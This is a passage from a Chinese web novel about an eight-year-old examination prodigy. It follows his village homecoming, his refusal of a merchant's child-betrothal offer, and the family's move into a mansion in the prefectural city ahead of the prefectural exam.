“这消息现在传得都这般快了吗?” 方仲礼乐呵呵的。 “什么?” “县试案首?这是中了?” “你家子期中榜了?” “这怎么可能!” “我记得你家子期才八岁吧……” 李家老三呼吸一滞,直接懵了。 “这案首是多少名?不会是最后一名吧?” 又有村民忍不住道。 此刻一旁有些见识的村民当即反唇相讥:“县试案首就是县试第一名!” “这方家小子可了不得了!方家这祖坟埋得可真好啊!” “这好风水现在全去了老方家!” “对了仲礼,你不也参加县试了?不会你儿子中了,你没中吧?你还不如你儿子?” “我不如我儿子咋了?青出于蓝而胜于蓝!我儿子是县试案首!至于我嘛!也就中了个县试三十九名罢了!” 方仲礼仍旧是一副乐呵呵的样子。 此刻旁人的任何言语都刺激不了他。 今天是个好日子。 心里面高兴! 一路到家。 方仲礼说得最多的话就是:“你怎么知道我家子期中了县试案首?” “汪汪汪……” 路过族学的时候。 阿黄甩着尾巴兴奋地冲了过来。 方仲礼想了想,随即从罐子中取了一块大肥肉给阿黄扔了过去。 “阿黄啊!” “你也知道我家子期中了县试案首?来祝贺的?” “真是一条好狗啊!” “不愧是族学养出来的狗!” “都养出灵气来了!” 方仲礼兴奋地对着阿黄直摆手。 苏氏此刻一副没眼看的样子。 “子期。” “你看你爹。” “在县城的时候还看不出来了。” “这到了村子里,这个话密的……” “连条狗都要去打个招呼。” “生怕旁人不知道你中了案首。” “这个得意劲……跟你爷爷还真是一个样。” 苏氏无奈扶额道。 方子期耸耸肩,此刻倒是感觉不大。 他甚至还有样学样,也从坛子里取了一块红烧肉喂了阿黄师兄。 族学的这两年。 这阿黄陪伴他最多。 以前家里穷,方子期顶多也就给阿黄喂点杂粮饼什么的。 “我也要喂阿黄!” 三丫此刻也跟着喂了阿黄一块红烧肉。 随即四丫也不甘落后…… 额…… 今天阿黄师兄的尾巴摇曳地格外地快。 夕阳西下。 一只大黄狗,追在大青骡车后面,倒是一幅绝美画面。 等回了家。 老爷子方守义和奶奶柳氏已经在门外翘首以盼了。 第44章 孙员外登门 方仲礼下了车,给老爷子方守义和柳氏打了个招呼。 “老二!” “我听李家老三说,子期中了县案首?你也中了县试?可是真的?” 方守义的脊背此刻都有些佝偻了,此刻一步并两步冲了过来。 “当然是真的!” “如假包换!” “爹!” “子期就是这次县试的案首!第一名!” 方仲礼自豪道。 “好!” “好啊!” “我早就看出来,子期是个聪慧的!” “才八岁,就中了县案首,这以后怕不是同他大伯一样,也能中个秀才?” “到时候我方家一门两秀才……” 爷爷方守义此刻已经跟着激动起来了。 “老二!今年文轩也参考了吧?” “也中榜了吧?” 奶奶柳氏突然询问道。 “不曾!” “娘,文轩这一次考试的时候心态不好,所以没中榜。” 方仲礼老老实实道。 “啊?” “这不应该啊,连子期都中了,文轩怎么没中呢?” “这文轩今年可都十六岁了!” “以前总听你大哥说文轩读书聪颖……” “怎么还不如子期呢!” 柳氏显得很费解。 明明当年算命先生说大房要出文曲星的啊! 所以他们老夫妻才一直不遗余力地供着大房上学堂。 但是现在这戏码似乎有些不太对啊。 “娘!” “你这说得什么话?” “什么叫还不如子期?” “不如子期的人多了!” “县试参考的有五六百人!” “子期能中榜首!” “不如子期的人多着呢!” 方仲礼当即昂着头道。 现在他儿子就是最棒的! 谁来都不好使! “好了!” “进来,快进来!” “等做好饭,今日定要多喝几杯!” “老二,你大哥…没回来?” “你可通知你大哥了?” 老爷子方守义的目光在门外扫了又扫,此刻也不曾见到方仲礼的身影,一时间脸色有些黯淡。 “爹,大哥说他在县学忙,可能回不来了。” 方仲礼道。 他反正是通知到位了。 但是他大哥不愿意回来能怎么办? 众人进屋。 苏氏走进厨房,帮奶奶柳氏和三婶王氏一起做饭。 此刻倒是一团和气。 方子期眉毛挑了挑。 这个时候他居然感受到了一种久违的家庭气息? 以往在这个大家庭中,每天不是计较那几文钱,就是为了一个鸡蛋而相互问候。 现如今这么和谐,搞得方子期还有些不习惯。 不过感觉确实还不错。 方子期此刻也走进厨房,炒菜的事他不会,但是摘摘菜什么的,还是手到擒来的。 “子期!” “快起身!” “这些活儿哪是你这种未来的举人老爷能做的!” “让三婶做就好!” 三婶王氏连忙夺过方子期手中的白菜,一脸和蔼。 方子期微微一叹…… 这还是他那个喜欢斤斤计较、得理不饶人的三婶吗? 当你小有成就的时候,身边似乎就没坏人了,全都是为你好的好人。 和谐的气氛注定是短暂的。 突然。 方宅外传来一阵阵马蹄声。 “爷爷!奶奶!” “是大伯回来了!” 三房的方绍永当即扯着嗓子道。 众人从屋内走出来。 只见大伯一家人此刻都归来了。 大伯方伯山、大伯母赵氏、大堂哥方文轩、小堂哥方文舟。 让方家众人感到意外的是…… 后面居然还跟着一个穿着华丽的中年男子。 在这个服装华丽的中年男子身后,还有一对青年男女。 方子期定睛一看,赫然是自己的大堂姐方玉瑶…… 如此一来,那青年男子肯定就是大堂姐夫孙承宗了! “老爷子!” “世昌冒昧打扰!还请见谅啊!” 孙世昌笑眯眯地走上前打招呼道。 如此,方子期也确认了眼前这个身着华丽服装的中年男子的身份。 孙世昌!他大伯方伯山的亲家,也是撺掇方伯山分家的那个,甚至是出了一百两分家银的那个…… “额……” “亲家怎么也来了……” “老大!” 老爷子方守义颇感意外道。 他本来还以为方伯山今天不会回来了呢! 当然,方伯山自己肯定是不想回来的。 但是没办法。 孙世昌非要他回来。 在县城中度日,他还要依仗着孙员外的钱财支应,所以这个时候自然也就只能被迫回家了。 “爹!” “孙员外说子期中了县案首,二弟又中了县试,是咱们家的大喜事,所以特地过来庆祝庆祝,热闹一下。” 方伯山解释道。 “这位想必就是子期吧?” “果然是一表人才!” “将来必有大出息!” 孙员外跟着夸赞道。 方子期无悲无喜,随便应了几句。 这大伯一家人加上孙员外一家人来了之后。 老宅中的和谐氛围就没有了。 取而代之的是…… 肃穆和尴尬。 就这种氛围的家,方子期是一刻都懒得待,还不如去读书呢! 方子期此刻打量了一眼自己的这位大堂姐方玉瑶。 当初她同邻村张屠夫家的三小子议亲的时候,他还曾见证过呢! 只是后来物是人非,出了些波折…… 这大堂姐成亲也不过才一年左右。 脸上明显露出了倦容,整个人的精神气也都萎靡了许多。 眼神中的神采也逐渐消失。 此刻虽然装扮上了精致的妆容,虽然也刻意装作一副嬉笑善于言谈的样子。 但是怎么看…怎么别扭…… 再扫一眼自己那个大堂姐夫…… 脚步虚浮,眼窝深缩,走几步路都要喘一喘。 一看就知道被酒色掏空了身子。 “你大堂姐是个可怜人。” “哎!” “孙家那个,身子骨不行,也不能让你大堂姐生下孩子。” “刚才我看了,你大堂姐身上可有不少清淤。” “这个挨千刀的……” “自己在外面风流快活将身体搞垮了要不了孩子,就来逼你大堂姐……” “与其如此,当初还不如让你大堂姐嫁娶张屠夫家呢!至少那张家三小子是个疼老婆的……” 苏氏此刻忍不住开始碎碎念了。 谈及过往,自然也是一阵唏嘘。 “娘!” “大伯和大伯母不管吗?” 二丫忍不住道。 “管?” “怎么管?” “你大伯大伯母还要靠孙家去接济呢!” “吃别人的嘴短!拿别人的手软!” 第45章 吾家有女初长成 方子期心中默然轻叹。 在这个年代。 女子嫁人就是第二次投胎。 所谓的嫁鸡随鸡嫁狗随狗,就是这般道理。 嫁给良人倒是还好,若是嫁给劣徒,这后半辈子就算是进了火坑了。 就如他大堂姐一般。 “娘!” “以后几个姐姐的婚事,可要好好相看!” “不要着急!” “身家财富倒是其次。” “一定要人好!” 方子期叮嘱道。 见自家儿子一副小大人的样子,苏氏忍不住伸出来点了点自家儿子的脑瓜子。 “这还用你说!” “等你爹和你有个功名后,这相看就好得多了。” “你大姐也到了十四岁了……” “也该相看了。” 苏氏忍不住开始碎碎念。 后厨这边的小声议论此刻倒是不起眼。 但是此刻前堂之中,议论声突然大了些。 方子期走上前听了一耳朵。 然后就麻了。 此刻的堂屋中,孙员外将茶水也喝得差不多了。 然后就在反复夸赞方子期。 什么神童在世,什么将来必能中举人,什么将来封侯拜相…… 诸如此类,不胜枚举。 方仲礼当下自然是一副认同脸。 有人夸赞自己儿子聪颖,他这个老父亲脸上也有光。 至于大伯方伯山和大伯母赵氏的脸色,就显得不怎么好了。 自家亲家这般抬举二房的,不就是在打他大房的脸吗? “老太爷!” “仲礼兄!” “我这膝下只有一子一女。” “儿子承宗有幸能够迎娶方氏长女,自是我孙家的荣幸!” “至于我那女儿宛禾,虽然我妾室所生,可自小到大,我也是含在嘴里怕化了,放在手心怕丢了,可一直都将其当成掌上明珠似的!” “现如今我那小女已七岁了,比子期小一岁。” “我那女儿虽还不曾长开,但是长得也算秀气。” 孙世昌突然将话题变了变。 方家人你看看我,我看看你,一时间有些懵。 这孙员外好端端的,提及自己的小女儿做什么? “孙员外!” “今日怎么不将孩子带来一起热闹热闹!” 老爷子方守义呵呵笑道。 “老太爷容禀!” “本是想带上宛禾来给老太爷磕头行礼的,谁知我家那如夫人将其带回娘家去了,真不凑巧。” “老太爷!” “你我两家,可是通家之好!” “您的大孙女嫁与我儿。” “您的小孙子同我小女儿又年岁相仿。” “若是也能定下婚事来,岂不是亲上加亲?好上加好?” “请老太爷放心!” “我家宛禾虽不是嫡女。” “但是一应嫁妆绝不会少!” “绝无可能少于一千两!” 孙员外当即展现出自己的诚意。 等孙员外说完后。 非但老爷子方守义懵了。 方仲礼更懵…… 就连大伯一家子也彻底惊呆了。 大伯方伯山忍不住看向自己这位亲家。 来之前。 你可没说这档子事啊! 而且! 之前你不是说我家文舟同你小女儿年岁相仿?将来还能亲上加亲吗? 这怎么…… 转头就要将小女儿嫁给我方家二房了? 方伯山此刻心中就像是有一万只蚂蚁在攀爬一般,那叫一个焦急啊。 大伯母赵氏也恶狠狠地瞪了方伯山一眼,一副随时要发飙的样子。 站在门外的方子期此刻表情很精彩。 好好好! 都这么玩是吧? 万恶的童养媳没让我遇见,现在直接想给我弄个娃娃亲? 这孙员外不愧是商人。 这如意算盘打的,那叫一个六啊! 趁方子期还未成长之前,就想将方子期绑在孙家的战车上…… “老太爷?” “你意如何?” “这可是亲上加亲的大好事!” 孙员外脸上露出期待之色。 老爷子方守义一脸困顿,一旁的奶奶柳氏一直在给老爷子挤眉弄眼。 对于柳氏来说,这多好的亲事啊! 上来就是至少一千两银子的嫁妆。 这多有诚意啊? 都这样了。 还在犹豫什么啊? “老二!” “子期是你的儿子。” “你做决定吧!” 老爷子方守义直接甩锅。 好在此刻老爷子还不糊涂,没有大包大揽。 站在门外的方子期松了口气。 不然刚才他指定就要冲进来了。 现在就看他爹的表现了。 方仲礼此刻才刚刚从懵懂中醒转过来。 见自家老爹甩锅,他也只能继续甩锅。 “孙员外。” “您可能不知道。” “我家子期虽然岁数小。” “但是我家什么事都听他的!” “承蒙孙员外看得起,但是我和他娘还真无法大包大揽!” “如若我家子期同意,我也没意见!” 方仲礼摊摊手道。 自家好大儿太受欢迎了! 才八岁啊! 就有人惦记上了! 方仲礼扫了一眼自家大哥和大嫂那阴沉地快要滴水的脸色,心中自然也明白。 他们恐怕也相中了这孙家小女儿了,恐怕早就想着等文舟长大了去迎娶…… 或是等到孙家女长到十四五岁的时候,让文轩去迎娶? 先前这孙员外恐怕也透过口风。 毕竟这方家大房要出文曲星的事情,可是被宣传地人尽皆知! 这孙员外就想着提前投资一把。 只是没想到方子期突然杀了出来,让孙员外给盯上了。 毕竟这八岁的案首…… 哪怕再垃圾,将来一个秀才功名肯定是跑不掉的。 若是这样的人物能成为自己的女婿,那孙家将来也就不怕没落了。 如意算盘打得确实挺好。 “爹!” “我现在不要娶妻!” “科举未成!何以为家?” “在科举之路未有成就之前。” “我都不会考虑这些事情。” “多谢孙员外盛情了。” 方子期直接给拒绝了。 七岁小萝莉,他可没什么兴趣。 况且。 对于这种包办婚姻之事…… 方子期还是非常排斥的。 “孙员外。” “此事就作罢吧!” 方仲礼拱拱手道。 “呵呵……” “子期果然胸怀大志!” “这是看不上我家宛禾了?” “可是觉得我给我家宛禾准备的嫁妆少了?” “这个都是可以商量的。” 第46章 红妆十里,万两白银的陪嫁 还是方家的! 近水楼台先得月! 他就不信。 凭借孙家的家资,还拿不下方子期! 此刻前堂闹腾的动静太大,后厨忙活的众人也都忍不住凑了过来。 三婶王氏此刻眼冒精光! “我的个老天爷……” “二嫂!” “你家是真发了啊!” “这孙员外为了笼络住你家子期,可是下血本了!” “万两白银的陪嫁……” “这王侯家也能嫁得了吧?” 三婶王氏一脸羡慕道。 若是自家绍永也有这个机缘就好了。 但是这种事,也就只能想想了。 “二嫂!” “你还不赶紧让子期答应!” “这么好的机会……” “一步登天啊!” 三叔方叔信下意识吞咽了一口唾沫。 他现在已经完全被万两白银给砸懵了。 “三弟三弟妹。” “这事还得子期自己做主。” “婚姻大事岂是儿戏?” “那孙员外做买卖发的家,能是傻子吗?” “这万两白银能是那么好拿的吗?” “你们也不看看玉瑶去他家都被磨磋成什么样了?” “泼天的富贵谁都想有,但是啊,最好是正道上来的。” 苏氏此刻显得很清醒。 万两白银又如何? 让她卖了儿女?门都没有! 这个钱拿着,可比不得卖卤肉红烧肉来得安心踏实。 吧唧…吧唧…吧唧…… 老爷子方守义此刻不停地在抽着烟。 万两白银啊! 老方家祖上最阔的时候,也没有过这么多银子啊! 连上田都能买上上千亩了! 他都想张口答应了。 但子期到底只是自己的孙子,不是儿子啊! 他可不好做主的。 况且现在都分了家了。 虽然奶奶柳氏一直在一旁疯狂暗示…… 但是老爷子方守义都装作不知道,一副只知道抽烟的样子。 人老了。 还是少管些事好。 此刻所有人的目光都看向了方子期。 包括他大伯一家子。 方伯山此刻上下两排的牙齿都在打架! 这种好事! 怎么就轮不到他大房呢! 说好的文曲星在大房呢?说好的通天气运会在大房呢? 至于大伯母赵氏,一双眼睛早就红了。 再这般下去,恐怕马上就要得红眼病了! 此刻确实快要绷不住了! “子期?” 孙世昌摸了摸稀疏的胡子。 此刻一脸自信。 他就不信。 万两银子还拿不下! 方子期眉毛微微动了动。 他也有些意外。 这位孙员外…还真是个赌徒啊! 为达目的都这般不罢休了吗? 这万两白银的承诺不说将来能不能真的执行。 但是此刻能说出来,就是一种气魄了。 这孙员外倒是个人物。 但…… 富贵不能淫!威武不能屈! 此乃大丈夫也! 况且为了一个虚无缥缈的万两白银,舍弃自己的后半辈子? 方子期可没那么傻。 “多谢孙员外的厚爱。” “但……” “我现如今真没有定亲之念!” “若非如此,允谦兄一直说要将妹妹定亲于我,我又怎会一直拒绝呢?” 方子期耸耸肩,坦然道。 这话花允谦还真说过,虽然只是玩笑话罢了。 “这花允谦是县令之子,也是我儿的至交好友!” 方仲礼适时地在一旁解释了一句。 孙世昌面色一沉…… 这县令大人都想要下手了吗? 自己虽有些家财,但是同县令大人比起来还是差得远! 怪不得这方子期不为钱财所动! 所图甚大啊! 若是他继续逼迫,岂不是等同于和县令大人抢女婿? 孙世昌深吸一口气,随即只能苦笑摇头。 “子期。” “在我家宛禾及笄之前,我都不会让她定亲!” “若来日,你想通了,可一定要来我家提亲!” “我的承诺,一直有效!” 孙世昌微微一叹…… 此刻既然不能直接拿下方子期,只能迂回一下了,不能将话说死。 “谢员外。” 方子期点点头道。 只要现在不定亲就好。 这古代的孩子,是真难啊! 八岁就得忙着给自己推脱亲事了! 八岁啊! 谁家八岁孩子就被催婚啊! 这该死的世道! 此事暂时算是了结。 随即就开饭了。 虽然经历了刚才的拒亲之事。 但是好在这位孙员外还是个扬面人,倒也没有因此而甩脸色。 宴席上的氛围还算是比较轻松的。 大家脸上多多少少都能有些笑容。 就是大伯方伯山和大伯母赵氏脸上的笑容有些僵硬罢了! “老爷子!” “仲礼!” “叔信!” “马上就要征徭役了。” “今年的徭役…能用银钱顶一定要用银钱顶!” “千万不要真的去服役!” 孙世昌一脸严肃地提醒道。 “哦?” “孙员外,这里有什么说法吗?” 方仲礼有些好奇道。 “其他的不能说。” “我只能说这一次的徭役…是要死人的。” “不是以前的那种意外死人,而是…成批次地死!” 孙世昌摇摇头道。 “可是兵役?” 方仲礼再度道。 孙世昌犹豫了一下,再度摇摇头,显然不是。 “多谢孙员外提点!” “如此我就明白了。” 方仲礼郑重其事地点头致谢道。 虽然他也没打算去服这个徭役。 但是人家真诚地提醒你,你也应当真诚道谢才是。 等吃完饭,孙员外一家子走后。 大伯一大家子也直接离开了,压根没有留下来过一夜的打算。 这顿饭吃的,对于方伯山而言,实在是太糟心了! 回城的马车上。 方伯山再也忍不住了。 “亲家!” 第47章 幺蛾子 西厢房。 方仲礼今天多喝了几杯酒,此刻的精神还很亢奋。 他中了县试,他儿子是县案首! 扬眉吐气了! 也算是给自己这么多年的偷学生涯一个交代。 当然了。 县试只是个起始点。 接下里,还有更严峻的府试甚至是院试! 想到此。 方仲礼强行打起精神来,准备再看会儿书再睡觉。 “爹。” “今天孙员外说的徭役之事,你可是知道什么内情?” 方子期询问道。 当时在饭桌上,他不好直接问。 “你小子,怎么开始关心这些事了?” 方仲礼重新梳理了一下脑子才开口道: “孙员外说了,这一次服徭役要死人,死一批人!” “而这又不是兵役。” “那就只能是边境给那些士兵当劳力了。” “做一些运输粮草、修建军营之类的活儿。” “当然了。” “若是遭逢大战。” “说不定也会被拖出去到战扬上当炮灰了。” “哎!” “北方的鞑子。” “可从来没消停过。” “咱们禾阳县位处于大梁腹地,尚且还没有鞑子洗劫。” “据说辽东那边,因鞑子祸事,十室九空啊!” “任何朝代,只要打上了仗…那就指定没好日子过了。” “所以这一次的徭役,咱们肯定要用银钱顶的。” “不过这消息孙员外能提前知晓,恐怕县城中也有不少有钱有势的人也能知晓……” “今年这顶徭役的价钱怕是要涨。” 方仲礼在一旁分析道。 “涨得再高,这银钱也得花。” “不管怎么样,保住命才好!” “咱们一大家子,一定要整整齐齐的。” “好在咱们不在边境。” “这打仗的事怎么也轮不到咱们。” 苏氏在一旁感慨道。 “如若边境打仗打得急了,真要是征召兵役的话……咱们也是躲不过去的。” “所以……” “咱们家要尽早出个秀才了!” “秀才功名能免除两个成年男丁的徭役或兵役。” “到时候爹就不用担心这些了。” 方子期抬起头,一脸认真道。 读书人的特权,还是很好用的。 “娘子!” “去给我冲一碗甘葛饮来!” “等醒了酒,我要继续读书!” 方仲礼此刻如同打了鸡血般,一脸认真道。 夜深了。 方子期耳边仍旧传来他爹郎朗的读书声。 他们这个小家,才刚刚有了起色,所以不允许任何人破坏。 方子期一家人在老宅待了几天就回了县城。 临行前,老爷子方守义特地将他叫进正堂。 “子期。” “这是二两银子。” “钱不多,拿给你读书用的。” “不要叫旁人知道了。” 方守义刻意叮嘱道。 当方子期拿着二两银子回来的时候。 方仲礼都显得很意外。 “爹娘居然愿意拿钱给咱们子期读书?” “这太阳…看来是真要从西边出来了。” “这在以前,是万万不敢想的事啊!” 苏氏惊叹道。 “娘子。” “爹娘虽偏心大哥。” “但是不糊涂。” “大哥自从傍上了孙员外之后,回过几次家?” “那次回了家不是匆匆吃上一顿饭就往回跑?” “一次两次这样,爹娘还不好说什么。” “次数多了,二老也就明白了。” 方仲礼摇摇头道。 “爹!” “那这银子怎么办?” 方子期道。 “你爷既给了你,你就拿着吧。” 方仲礼回应道。 虽然他们一家子现在已不差这二两银子了。 但是心意总归是好的。 …… 回了县城后。 方仲礼读书越发认真了。 因为得了周夫子的首肯,可以随时去周宅请教功课,所以方仲礼隔三差五地就去一趟。 平日里一些小问题的话,就直接在家中请教自己儿子了。 那学习的劲头让方子期看了都一阵汗颜! 我家老爹!太努力了! 搞得方子期想要摸鱼都有一阵负罪感…… 然后……也被动地被卷起来了。 早起读书。 饭后读书。 晚间夜读…… 总而言之。 就是一副读书破万卷的架势。 后来直接发展到,方砚秋一大早就往方子期家赶,学习到月明星稀才回家…… 按照方砚秋的话来说就是。 我在家学得心慌,到这里来,好歹还能看着你们学,跟你们一起学…… 在忙碌的读书生涯中。 也发生了一点小插曲…… 他大伯母突然跑来了。 然后同苏氏唠唠叨叨了一下午。 到晚间的时候,才擦了擦眼角的泪水回了家。 这宅子不算大。 他大伯母赵氏哭哭啼啼一下午,自然让方子期和方仲礼的读书状态受到了一些影响。 晚间吃饭的时候,方子期忍不住多问了一嘴。 毕竟他家同大伯母也不算是多亲近。 这个时候到他家来算是怎么回事? “哎!” “你们不知道。” “你大伯在外面找了个寡妇。” “据说那寡妇才二十岁。” “已经大了肚子了。” “你大伯这人…还真是不知道怎么说好了……” “非要嚷嚷着纳妾。” “想将那寡妇娶进门!” 苏氏嘟嘟囔囔的,大概将事情说清楚了。 方子期和方仲礼两父子互相对视一眼,各自脸上的表情都很精彩。 好好好! 他这大伯…… 可真是玩的花啊! 自己一文钱不挣不说,还仰仗着孙家接济呢! 就这! 居然还想给自己纳妾? 这是中了秀才之后,觉得自己是个人物了,直接飘了? “娘,那大伯母来找您也无用啊!” “咱们又做不了大伯的主!” “这事,他们就算是要找,也该是回老宅找爷爷奶奶出面才是。” 方子期道。 “若是找你爷爷奶奶有用的话,还用得着说这些?” “你大伯现在反正是离了心了。” “你大伯母在县城里也不认识什么人,只能找我说说了。” “以前你大伯母多势力的一个人啊!” “现如今居然也成这般了。” “我要是你大伯母!” 第48章 府城,豪宅 “我一心只读圣贤书!” “我大哥那是猪油蒙了心了!” “我可没有!” 方仲礼连忙摇头道。 “哼!” “谅你也不敢!” 苏氏盯了方仲礼一眼道。 “只是……” “娘子,若是大嫂每天都来我们家说这些,我和子期这书也读不好啊。” 方仲礼头疼道。 读书是要氛围的。 天天听着赵氏的哭诉声,这还怎么读书啊! “这确实是件麻烦事。” “要不然明天我将大门关上?” 苏氏提议道。 “额……” “这于理不合。” “算了。” “明日你早些出去!” “若你不在家,大嫂也不好继续待着了!” 方仲礼自认为想到了一个好办法,随即得意洋洋道。 第二天。 让方仲礼崩溃的是…… 大伯母赵氏硬生生地等到苏氏归家…… 这一等可就是两个时辰啊! 为的就是找苏氏一吐心中的苦水。 麻了! 真麻了! 好在苏氏很快就将大伯母拉出门去吃茶去了。 他们父子也算是得了些清静。 这样的日子没持续多久。 三月下旬。 方子期和方仲礼就收拾好行李,准备前往宁江府了。 府试的时间快要近了。 “出门在外,可尽量要小心些!” “银钱都带足了吧?出门在外,可不能短了银钱!” “你不要将银钱放在一处,多放几个地方,给子期也放一些。” 临出门之前。 苏氏一脸担心地在那里嘱咐道。 尤其是对方子期,那叫一个不舍。 “娘!” “你就别担心了。” “用不了多久,我同爹就回来了。” “而且此次去宁江府,还有周夫子和砚秋兄一起去。” “再者,还有允谦兄也会同我们结伴而行。” “他可是会带上不少护卫。” 方子期说这话主要就是希望自家娘亲不要过于担忧。 他这是去宁江府考府试的,又不是去宁江府投案自首的。 天渐渐地亮了。 方仲礼赶着大青骡车载着方子期、周夫子和方砚秋来到县衙门口。 很快,花允谦也坐着马车行驶过来。 “子期!” “我来迟了!” 花允谦一脸抱歉。 “时间刚刚好。” “我们也是刚来。” “快些走吧!” “还要赶一天路呢!” 方子期笑着道。 从禾阳县到宁江府。 若是靠双腿走,没个几天到不了。 但是有马车和骡车的话,一天时间倒也差不多了。 早上天刚亮就出发。 直到夜色朦胧才抵达。 刚进城,花允谦就邀请方子期去他家住,但是被方子期婉拒了。 几人随便找了家客栈休息。 准备第二天去他家在府城的宅子看看。 之前敬献曲辕犁的时候,除了得到一百两银子的赏钱外,还有一座府城的宅子,这可是鹰扬卫亲自给送来的。 只是一直以来也没机会到府城来,这事就耽搁了。 这一次方仲礼特地将地契都带上了。 既来了府城,自然要好好去看一看才是。 早上从客栈醒来,随意吃了些早餐,方仲礼驱赶着骡车准备去找房子。 对宅子的位置虽不甚清楚,但路在嘴上。 提了一嘴朱雀街,基本都知道。 而方家这宅院,就在宁江府的朱雀街上。 大青骡车歪歪斜斜地进入一条宽阔的街道。 入眼处。 颇有一种草木入帘青之感。 砖石铺就的大道十分平坦。 在道路两旁,一座座方正的宅院平地而起。 “这看着可不像是什么民居……” “倒像都是豪绅的宅子。” “仲礼。” “子期。” “你们看。” “这门口,可都有门房看门呢!” “看来鹰扬卫奖励给你们的宅子,价值不菲。” 周夫子的目光如电,在周边扫了一圈,随即一脸笃定道。 而事实证明,周夫子的眼光还是很不错的。 等按照地契上的地点,仔细盘桓了几圈后。 众人来到一座颇为奢华的宅院前。 红漆大门显得古朴而苍劲。 门口两只巨大的石狮子威风凛凛。 宅子中间位置的牌匾已经被摘掉,显得有些光秃秃的。 此刻周边宅院的门房纷纷都将目光打量过来,纷纷露出警惕之色。 平日里,这朱雀街可是非常清净的。 现在突然来了这么多外人,自然引发了不少目光。 眼看着这些门房一副盯贼的表情盯着他们。 方仲礼也显得很无奈。 等方仲礼拿着钥匙打开了房门后。 这些门房才将警惕的目光稍稍收了些。 只是仍旧有些好奇。 这宅子已经荒废了一段日子了,也无人前来居住,今日突然有人前来,是有主了? 这些人怕不是哪位老爷家的仆人?特地前来打前站的? 一时间,这些门房都在揣测这宅子的新主人会是谁。 毕竟这宅子的前任主人可是被鹰扬卫给抄了家的! 能从鹰扬卫手中拿宅子,可不是一般人能做到的。 进入宅子后。 方子期都有些被惊到了。 这宅子…… 是真大…… 亭台水榭,样样都有。 只是花草树木因为长时间不曾打理有些枯败了。 但是内部的空间极大! 宅子整体遵循中轴对称和内外有别的特征。 这套宅子是一套三进院。 从大门进入一进院,然后经过垂花门进入核心的二进院。 之后再经穿堂走入三进院。 围墙闭合,形成完美的独立空间。 整套宅邸的主体结构用砖木混合,地基多用青石铺垫。 屋顶覆盖小瓦。 整个三进院大概有二十多间屋子。 门房一间。 二进院内的正房四间,东西厢房各三间,耳房四间,穿堂一间。 至于最后的三进院,也就是后院,有正房四间,后厢房三间,还有一间柴房。 这屋子可比方子期家在县城的一进院大得太多了,也豪奢了太多。 而且屋内的家具大多都还在,不曾搬走。 甚至床铺上还有被褥,只不过常年无人用,灰尘极重就是了。 “砚秋!” “周夫子!” “你们随意找一间屋子住下吧!” “就是稍微埋汰了些。” “我待会儿去买些被褥和日常用品回来。” 方仲礼道。 “这比客栈已经好多了。” 第49章 模拟考场,周夫子的趣味 “你这摇身一变,都成地主老财了!” 方砚秋啧啧赞叹道。 地主老财不老财的,方子期不知道。 但是按照他的盘算,在这个地段的三进的宅子,没个上千两银子恐怕还真拿不下。 众人来到宁江府其实也算是初来乍到,现在有个地方住着,倒是幸事。 接下来的日子,除了报名府试之外,方子期等人一门心思的都在学习。 现成的周夫子在这里,有什么不懂的,尽管问询就是了。 方仲礼花费了两天时间,给宅子里添置了一些适用的家具什么的,使得整个宅子看起来,更像是家了。 正堂内。 时不时的就会传来方子期等人郎朗的读书声。 又或者是简短式的磨砚声。 某日。 周夫子突发奇想,直接让方子期等人将课桌搬移到了茅房旁边…… “上一次砚秋之所以考得不理想,就是因为这臭号的影响。” “但是谁也不能保证你们三人下一次还会不会再遇到臭号。 “这些事情咱们既然把握不好,那就干脆从源头解决。” “今后你们做文章的时候,就在臭号周边吧!” “尽可能地模拟考扬氛围。” “如此一来,真要到了考扬上,真遇上了臭号,也能坦然应对。” 周夫子昂着头,一脸的笑容。 此刻他倒是颇为自己的决策感到骄傲和自豪! 方子期:“……” 方仲礼倒是无所谓,心态极好。 毕竟考扬的臭号可比这茅房周边臭得多! 至于方砚秋,此刻一脸苦闷…… 他突然想起…当初县试的因为被抽到了臭号,他爷爷甚至在他睡觉的房间都放了恭桶…… 方砚秋悠然一叹,怪不得他爷爷能和周夫子成为至交好友。 两人的兴趣爱好居然出奇地一致! 实在是太可怕了! 一开始在茅房周边写文章确实有些影响。 但是方子期本着既来之则安之的想法,倒是很快适应了。 待到周夫子检查文章的时候,频频点头。 “子期的文章又进步了不少。” “文字之间颇有张力。” “只是……” “子期,你的文章有个特色。” “怎么每一篇都要称赞一下当今陛下。” 周夫子一边看着,眉头不由得皱起…… 但凡是一篇文章,方子期都能找到角度歌颂一下皇帝。 写孝悌的文章,方子期就会在文章提及大梁之所以如此注重孝悌,都是因为皇帝在以身作则。 写治国的文章,方子期会大书特书当今大梁的国策如何之好,当今陛下治理天下的方法何其之妙…… 写治水的文章,方子期又会提及当今陛下举贤不避亲、用人得当…… 写战争的文章,方子期就更来劲了,直接大书特书陛下文韬武略,万邦臣服…… 一次两次,倒是还好。 周夫子还没感觉到什么。 但是每一篇都是这样…… “夫子。” “写一下陛下的圣明,应该没什么问题吧?” “提前表明自己的政治立扬……” “也能让阅卷官放心一些。” 方子期说出了自己的想法。 一旁的方仲礼和方砚秋戳着耳朵一直在聆听着,此刻各自脸上都露出了恍然大悟的表情。 原来,这是应试技巧? 可得好好学学! “子期!” “你说的倒是有些道理。” “但…此等文章可就有了阿谀奉承之嫌。” “若是遇上那些刚正不阿的阅卷官,你是要吃大亏的。” 周夫子提点道。 “这……” “夫子。” “我也不知道这阅卷官的秉性啊。” 方子期苦笑道。 “宁江府知府王知廉素来重实务,不喜欢那些言之无物的华丽辞藻。” “对这些阿谀奉承之言也向来不喜。” “所以此次府试,子期你一定要慎之又慎!” “拍马屁可以,一定要不留痕迹。” “让人看了心生愉悦,可又不曾察觉这是在拍马屁。” 周夫子深以为然点点头,嘴角含笑。 这么一说…… 方子期倒是有些懂了。 也就是说。 不是不能拍马屁。 但是不要拍那种没什么技术含量的马屁。 那些清流文官,最注重的就是这个。 你需要对他们恭敬,但是不能对他们谄媚。 其中的度,要把握好。 随后。 周夫子又目光看向方仲礼和方砚秋。 “你们二人,也要谨记!” “府试于你们而言,至关重要!” “最好一次性过了,否则这县试就白考了!” 周夫子沉吟一声,随即在一旁叮嘱道。 “好的夫子!” “学生明白。” 方仲礼和方砚秋异口同声道。 “好了!” “休息半个时辰,继续下一篇文章。” “等这篇文章做完之后。” “我再同你们说一下最新发布的《程文集》。” “这上面可有不少优秀文章。” “说不得本次府试的考题就出自其中。” “到时候我再根据那位王知府的秉性,押一些考题让你们练练手。” 周夫子默然颔首,谆谆教导道。 因为方子期三人要醉心于做文章,所以几人的饭食只能出门购买了。 